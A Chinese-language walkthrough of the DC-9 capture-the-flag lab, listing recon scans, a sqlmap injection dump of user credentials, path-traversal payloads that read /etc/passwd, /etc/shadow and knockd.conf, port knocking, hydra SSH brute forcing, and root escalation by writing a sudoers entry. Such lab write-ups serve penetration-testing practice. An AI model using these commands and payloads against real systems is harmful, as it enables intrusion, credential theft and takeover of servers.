DC-9靶场练习
前言
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
信息收集
扫描同网段
arp-scan -l
扫描端口
nmap -sV 192.168.118.136
22端口关闭
看cms
whatweb -v 192.168.118.136
看目录
dirseach -u 192.168.118.136 -x 404
目录没有什么有用的信息
渗透阶段
一个搜索界面
进行sqlmap去跑这个登录框,判断有注入
sqlap -r 666.txt --random-agent --batch --current-db --is-dba --dbs -D users --dump
获取大量的用户名和密码,复制下来后面有用
sqlmap -r 666.txt -p search -D Staff -T Users -C "Username,Password" --dump
再获取管理员账户和密码
密码md5加密
进行解密
登录进去后
文件包含利用
?file=../../../../etc/passwd
?file=../../../../etc/shadow //这个出来就牛逼了,不过一般都是没权限
?file=../../../../etc/ssh/sshd_config //查看ssh的配置文件
?file=../../../../etc/knockd.conf // 获取他的约定端口,进行指定访问,ssh端口才会解开
?file=../../../../var/log/nginx/access //获取日志,根据中间件 有可能会造成日志污染
knockd.conf文件:
依次发包 7469、8475、9842
knockd是什么?
敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器IP发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。
读取当前服务器的所有服务
?file=../../../../proc/sched_debug
copy到文本里面筛选
vim 888.txt
cat 888.txt|egrep '[a-zA-Z]+' -o|sort|uniq
//进行筛选,和排序
cat 888.txt|egrep '[a-zA-Z]+' -o|sort|uniq|grep "knockd"
//筛选敲门服务
ssh解开后,进行前面找到的用户名和密码进行爆破
hydra -L user.txt -P pass.txt ssh://192.168.118.136
登录janitor这个用户
他的这个目录下有很多密码
/.secrets-for-putin
进行添加,再进行hydra
多了一个fredf这个用户
登录这个用户,发现他可以用sudo
只要有一个root权限的文件,普通用户可rwx就可以提权到root权限
先创建一个文本文件(先要查看自己所在的目录,是否有写入的权限)
vim a.txt
nano a.txt
写入内容
用户名 ALL=(ALL:ALL) ALL
写入/etc/sudoers
sudo /opt/devstuff/dist/test/test a.txt /etc/sudoers
也就是写入当前用户的sudo里面
<font style="color:rgb(44, 44, 54);">/etc/sudoers</font>
文件是 Linux 和类 Unix 操作系统中用于配置 <font style="color:rgb(44, 44, 54);">sudo</font>
命令行为的核心文件。它定义了哪些用户或用户组可以使用 <font style="color:rgb(44, 44, 54);">sudo</font>
来执行命令,以及他们能以什么权限(通常是 root 用户的权限)执行哪些命令。
切换到root用户
sudo su -
查看flag